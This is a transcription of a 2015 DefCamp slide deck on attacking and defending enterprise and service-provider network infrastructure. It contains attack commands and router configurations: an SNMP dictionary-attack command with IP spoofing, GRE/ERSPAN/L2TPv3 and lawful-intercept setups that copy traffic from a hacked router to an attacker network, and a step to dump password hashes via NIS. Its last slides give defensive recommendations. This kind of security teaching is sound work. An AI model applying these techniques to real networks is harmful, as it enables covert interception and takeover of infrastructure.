Defending the Enterprise Against Network Infrastructure Threats. DefCamp Paul Coggin Senior Principal Cyber Security

Transcription

1 Defending the Enterprise Against Network Infrastructure Threats DefCamp 2015 Paul Coggin Senior Principal Cyber Security V## Goes Here 1

2 SNMP Blow Defeat SNMP w/ ACL $ snmpblow.pl -s <NetMgt IP> -d <Target IP> -t <TFTP IP> -f cfg.txt < communities.txt Attacker Network Target Network Internet SNMP Dictionary Attack with IP spoof R&S SNMP ACL Filtered TFTP Server Upon guessing the SNMP community string the configuration file is downloaded to the attacker TFTP server Trusted Device Layer 2 and L3 Anti-spoof protection with a complex SNMP community string is recommended. SNMPv3 is highly encouraged. Reference: 2

3 Policy Routing Override IP Routing Table ISP A Internet ISP B -Comprised A Route Map can over ride IP routing table and redirect specific traffic flows Scenario 1 Redirect Outbound Internet Rouge 4G router Scenario 2 Redirect Traffic of interest out 4G or other RF network for undetected exfiltration Si Scenario 3 Redirect Traffic of interest to enable a layer 3 Man in the Middle Attack Attacker System - Packet Sniffer - IP Forwarding Vlan 2 Vlan 3 Vlan 4 Reference 3

4 GRE Tunnel Utilized to Sniff Across WAN Target Network Hacked Router Internet Attacker Network Packet Analyzer - GRE Tunnel is configured on the hacked router and the attacker s router - GRE Tunnel interfaces must be in common subnet - Configure ACL to define traffic of interest on the hacked router - Define a route map with the ACL and set the next hop to the attacker s GRE tunnel interface IP address - Similarly define an ACL & route map on the attacker router to redirect traffic to the packet analyzer Reference: 4

5 ERSPAN Enable Packet Capture Across Routed Network Target Network Hacked Router Internet Attacker Network Exfiltration of packet captures ERSPAN sends traffic over a GRE tunnel Packet Analyzer monitor session < session ID > type erspan-source source interface GigabitEthernet1/0/1 rx source interface GigabitEthernet1/0/2 tx source interface GigabitEthernet1/0/3 both destination erspan-id < erspan-flow-id > ip address < remote ip > origin ip address < source IP > monitor session < session ID > type erspan-destination Source ip address < source IP > erspan-id < erspan-flow-id > destination interface GigabitEthernet2/0/1 References: 5

6 Tunnel IPv6 over IPv4 using DLSw If a router can be compromised with software that supports DLSw a host may be able to tunnel IPv6 traffic across the IPv4 routed Internet. This is not a documented or supported capability by Cisco. dlsw local-peer peer-id dlsw remote-peer 0 tcp dlsw bridge-group 1! interface Serial0/0 Ip address ! interface FastEthernet0/0 ip address bridge-group 1!! bridge 1 protocol ieee IPv4 Routed Backbone dlsw local-peer peer-id dlsw remote-peer 0 tcp promiscuous dlsw bridge-group 1! Interface serial0/0 Ip address ! Interface FastEthernet 0/0 ip address bridge-group 1! bridge 1 protocol ieee References: 6

7 Target Network Hacked Router L2TPv3 MITM Across the Internet Internet Attacker Network L2TPv3 Tunnel ARP Poison across the Internet Common Layer 2 Network l2tp-class l2tp-defaults retransmit initial retries 30 cookie-size 8 pseudowire-class ether-pw encapsulation l2tpv3 protocol none ip local interface Loopback0 interface Ethernet 0/0 xconnect encapsulation l2tpv3 manual pw-class ether-pw l2tp id l2tp cookie local l2tp cookie remote l2tp hello l2tp-defaults l2tp-class l2tp-defaults retransmit initial retries 30 cookie-size 8 pseudowire-class ether-pw encapsulation l2tpv3 protocol none ip local interface Loopback0 interface Ethernet 0/0 xconnect encapsulation l2tpv3 manual pw-class ether-pw l2tp id l2tp cookie local l2tp cookie remote l2tp hello l2tp-defaults Reference: 7

8 Lawful Intercept Overview Voice-Call Agent Data-Radius, AAA Configuration Commands Intercepting Control Element (ICE) Router \ Switch Service Provider Request IRI Request LI Administration Function Mediation Device Content Mediation Device Law Enforcement Agency (LEA) Collection Function SNMPv3 UDP Transport for Delivery Reference: 8

9 Lawful Intercept Exploit Scenario Target Network Hacked Router Internet Destination Network LI SNMP Trap Attacker Network Duplicate Copy of All Packets of Interest Packet Analyzer Snmp-server view <view-name> ciscotap2mib included Snmp-server view <view-name> ciscoiptapmib included Snmp-server group <group-name> v3 auth read <view-name> write <view-name) notify <view-name> Snmp-server host <ip-address> traps version 3 priv <username> udp-port <port-number> Snmp-server user <mduser-id> <groupname> v3 auth md5 <md-password> References: 9

10 Two-way Connection via NAT Pivot to Target Cloud Provider Managed IPTV Service Provider Attacking System Internet IPTV Head End Default Route (MCAST RPF) Billing System Integration Target is the SAT IPTV Head End. Attacker is trying to pivot from Service Provider Network. Servers have route pointing back to SAT with no route to Internet. If the attacker can compromise the HE router then configure NAT two-way communication to the servers can be established. TV C M STB Message On- Line Network Menu Guide Ch Up Select Power NLC 3 Ch Dn Fiber Node SM downstream upstream RF Combiner Routers Cable Modem Termination System (CMTS) Cable Routers Head End Router Multicast Video Setup Static NAT Translation No Route Middleware IPTV Video On Demand Services Pivot off Servers and Exploit Trust to target Cloud IPTV Provider 10

11 Hack the Network via OSPF DR External Network BGP, EIGRP, ISIS Area 1 BDR Autononynmous System Border Router (ASBR) Area Border Router (ABR) Area 0 ABR Area 2 OSPF Exploit Tools - Quagga - NRL Core(Network Simulator) - Nemesis - Loki - G3SN\Dynamips - Buy a router on ebay - Hack a router and reconfigure - Code one with Scapy - IP Sorcery( IP Magic) - Cain & Able to crack OSPF MD5 - MS RRAS - NetDude - Collasoft - Phenoelit IRPAS OSPF typically is implemented without any thought to security. LSA s are mul@cast on the spoke LAN for any user to sniff without MD5. OSPF Attack Vectors - Take over as DR - Inject routes to mask source of attack - DoS - Inject routes for MITM - Add new routes to hacked router - Change interface bandwidth or use IP OSPF Cost for Traffic Engineering on hacked router 11

12 BGP Hijacking in the News 2008 Pakistan Telecom accidentally hijacks 2011 Chinanet accidentally hijacks In 2010 China Telecom accidentally hijacked 50,000 blocks of IP addresses 20 minutes Renesys reported a major BGP hijacking in Belaruse and Iceland ISP s possibly compromised - A software bug blamed

13 AS 5 Hijack IP subnet /24 BGP IP Prefix and AS Hijacking Route Reflector AS 1 Route Reflector AS 6 IBGP AS 7 EBGP EBGP EBGP L2 Cross Connect AS 2 AS 3 AS 4 Hijack AS 4 & IP subnet /24 The Longest IP Prefix Wins 13

14 BGP Hijacking in the News 2008 Pakistan Telecom accidentally hijacks 2011 Chinanet accidentally hijacks In 2010 China Telecom accidentally hijacked 50,000 blocks of IP addresses 20 minutes Renesys reported a major BGP hijacking in Belaruse and Iceland ISP s possibly compromised - A software bug blamed

15 Virtual Private Networks Virtual Networks Virtual Private Networks Virtual Dialup Networks Virtual LANs Overlay VPN Peer-to-Peer VPN Layer-2 VPN Layer-3 VPN Access lists (Shared router) Split routing (Dedicated router) MPLS/VPN X.25 F/R ATM GRE IPSec MPLS VPN is not encrypted unless encrypted separately 15

16 MPLS and the OSI and TCP/IP Model OSI Model MPLS Label Stack TCP/IP Model 7 Application 6 Presentation Application 5 4 Session Transport Own the Label Transport 3 Network OSI 2.5 VPN Label LDP Label Internet 2 1 Data Link Physical TE Label Frame Header Network Interface 16

17 MPLS Label PCAP 32-bit MPLS Label Format Label : 20-bit EXP : 3-bit Bottom-of-Stack : 1-bit TTL : 8-bit Source: 17

18 MPLS Architecture Overview VPN_A VPN_B VPN_A VPN_B CE CE CE CE P ibgp sessions P P P CE CE CE VPN_A VPN_A VPN_B P Routers (LSRs) are in the Core of the MPLS Cloud Routers (Edge LSRs or LERs) Use MPLS with the Core and Plain IP with CE Routers P and Routers Use the Same IGP Routing Protocol Routers are MP-iBGP Fully-meshed Service provider may accidentally or intentionally misconfigure VPN s Utilize IPSEC VPN over MPLS VPN to insure security 18

19 CLI - VRF configuration ip vrf cust_a rd 200:1 route-target export 200:1 route-target import 200:1 ip vrf cust_b rd 200:2 route-target export 200:2 route-target import 200:2 Interface Serial2/0 ip vrf forwarding cust_a Interface Serial2/1 ip vrf forwarding cust_b 1" MP-BGP! P P" OSPF \ ISIS and LDP 2" ip vrf cust_a rd 200:1 route-target export 200:1 route-target import 200:1 ip vrf cust_b rd 200:2 route-target export 200:2 route-target import 200:2 Interface Serial2/0 ip vrf forwarding cust_a Interface Serial2/1 ip vrf forwarding cust_b Static, BGP, OSPF, EIGRP, RIP Cust-A! Cust-B! Cust-A! Cust-B! MPLS Trust Relationship Customer Trusts Service Providers 19

20 MPLS Routing Table Global Routing Table Cust_A MPLS VPN Routing Table Cust_B MPLS VPN Routing Table 3 Routing Tables on 1 Router Separated by MPLS VRF 20

21 MPLS MP-BGP VPN 21

22 Think Like the Threat to Develop Security Strategy Transport Network Infrastructure Network and System Architecture - Centralized, Distributed, Redundant - Physical and Logical - Transport Network (RF, Fiber, Copper) Attack Tree Network Infrastructure Attack Vectors Network Protocols - Rou@ng, Switching, Redundancy - Apps, Client/Server HW, SW, Apps, RDBMS - Open Source - Commercial Trust RelaEonships Internet, BSS, OSS, NMS, Net - Network Management and Network Devices - Billing, Middleware, Provisioning - Vendor remote access - (VPT) - Tech staff remote access - Self Provisioning - Physical access - Trusted Insider - Cross connect - CE in- band management - Physical access to CE configura@on setngs SNMP Community String Dictionary Attack with Spoofing to Download Router\ Switch Configuration Build New Router Configuration File to enable further privilege escation Upload New Configuration File Using Comprimised SNMP RW String Own Network Infrastructure Telnet\SSH Dictionary Attack Router\Switches\ NetMgt Server Build New Router Configuration File to enable further privilege escation Own Network Infrastructure Exploit ACL Trust Relationship Attack SNMP\Telnet\SSH UNIX NetMgt Server Running NIS v1 Ypcat -d <domain> <server IP> passwd Grab shadow file hashes Crack Passwords Access Server Directly Discover Backup HW Configs Crack Passwords Own Network Infrastructure Find NetMgt passwords and SNMP config files MITM ARP Poisoning Sniffing Capture SNMP Community Strings and Unencrypted Login\Passwords, Protocol Passwords Inject New Routes Or Bogus Protocol Packets Configure Device for Further Privilege Escalation Own Network Infrastructure Network Mgt Application Attempt to Login Using Default Login\Password Reconfigure Router or Switch Own Network Infrastructure Execute OS CMDs from Oracle PL/SQL Attack Network from DB Further Enumerate Oracle SID s to Identify Default DBA System Level Accts\Passwords HP OpenView Server Enumerate Oracle TNS Listener to Identify Default SID s Login to Oracle DB with Discovered DBA Privilege Account Run Oracle SQL CMDs Execute OS CMDs Find NetMgt Passwords, SNMP info, OS password files Crack Passwords Own Network Infrastructure Further Enumerate Oracle SID s to Identify User Accts. Perform Dictionary Attack Run Oracle SQL CMDs Execute OS CMDs Add New Privileged OS Account Use New Privileged OS account to Escalate Privileged Access to Network 22

23 Service Provider MPLS Network Global Internet Central Office/ POP Central Office/ POP Label IP Internet & MPLS VPN VPN Label CE Data IP Data IP CE P Data MPLS VPN Static, BGP Internet & MPLS VPN CE P CE MPLS VPN Insider Threat - Add VPN router - Layer 2 attacks - L2TPv3 - ERSPAN - Lawful Intercept - GRE tunnel - Co-location cross connect Evil Cloud 23

24 Network Management Architecture Remote VPN NetMgt User \ Vendor AAA NOC Reports Database OSS Provisioning SQL OSS Internet Network Operations Security Strategy - Secure against exploited CE - Secure trust relationship to NOC - NOC to P,, CE, VPN s pivoting SNMP Agent - Internal, IPTV, VoIP, Internet\BGP, Vendor access,transport networks Alarms, Traps, Reports, Backup Cust -1 CE Cust-2 CE Cust-1 CE Cust-2 CE P P IP DWDM MPLS CORE NMS, EMS, MOM Servers TL1 Gateway (TL1 to/from SNMP) TL1 Configuration Provisioning, Control, Software Download P P OSS Cust-2 CE Cust-1 CE Cust-1 CE Physical Access - In-band Mgt - Disable password recovery - Secure Trust Relationships - SNMP, ACL s, Accts - Protocols - AAA, NetMgt IP s 24

25 Transit Between MPLS-VPN backbones Packet Capture Inject routes into VPN Denial of Service Join VPN MITM Cross-connect Inject labeled packets Traffic Engineering Disable IP TTL Carrier Backbone 2 running IGP and LDP -1 Label Label P1 IP MP-iBGP for VPN-IPv4 OSPF or ISIS LDP Data -2 MPLS Label\Prefix Recon - ERSPAN - Lawful Intercept Attacker Network Monitoring Infrastructure Carrier Backbone 1 running IGP and LDP -1 OSPF or ISIS LDP Label IP P1 L2 IXP Data MP-eBGP for VPN-IPv4 MP-eBGP for VPN-IPv4 OSPF or ISIS LDP Label IP P2 Carrier Backbone 3 running IGP and LDP Data L2 IXP MP-iBGP for VPN-IPv4 -ASBR1 -ASBR2 MP-iBGP for VPN-IPv4-2 IP CE-1 Data If BGP is being hijacked why not MPLS? Secure Visualization and Instrumentation & Encryption IP Data CE-2 25

26 BGP Route Monitoring Monitor Your IP Prefixes Monitor Your Business Partner IP Prefixes Monitor Industry Peers for Intel to Predict Future Attack 26

27 MPLS Security Recommendations Monitor for New Unexpected Route Advertisements Know Your Network! Utilize Encryption over MPLS VPN Links; SP - IPSEC Whitelist the Network Trust Relationships including Routing Protocols Whitelist Trusted Information Flows in Monitoring Utilize Separate VRF for In-band Management Dedicated Out-of-band Network Management with Un-attributable Internet IP for VPN AAA with separation of roles and responsibilities for operations and security monitoring Configuration Management and Monitoring Log all changes!! 2 Factor Authentication! 27

28 References Internet Routing Architectures, Halabi, Cisco Press MPLS VPN Security, Michael H. Behringer, Monique J. Morrow, Cisco Press ISP Essentials, Barry Raveendran Greene, Philip Smith, Cisco Press Router Security Strategies Securing IP Network Traffic Planes, Gregg Schudel, David J. Smith, Cisco Press MPLS and VPN Architectures, Jim Guichard, Ivan Papelnjak, Cisco Press MPLS Configuration on Cisco IOS Software, Lancy Lobo, Umesh Lakshman, Cisco Press Traffic Engineering with MPLS, Eric Osborne, Ajay Simha, Cisco Press LAN Switch Security What Hackers Know About Your Switches, Eric Vyncke, Christopher Paggen, Cisco Press RFC 2547 RFC 2547bis RFC 2917 RFC 4364 Attack Trees, Bruce Schneier, Phenoelit Papers and Resources, ERNW Papers and Resources, Ivan PepeInjak, Papers and Resources,

29 @PaulCoggin 29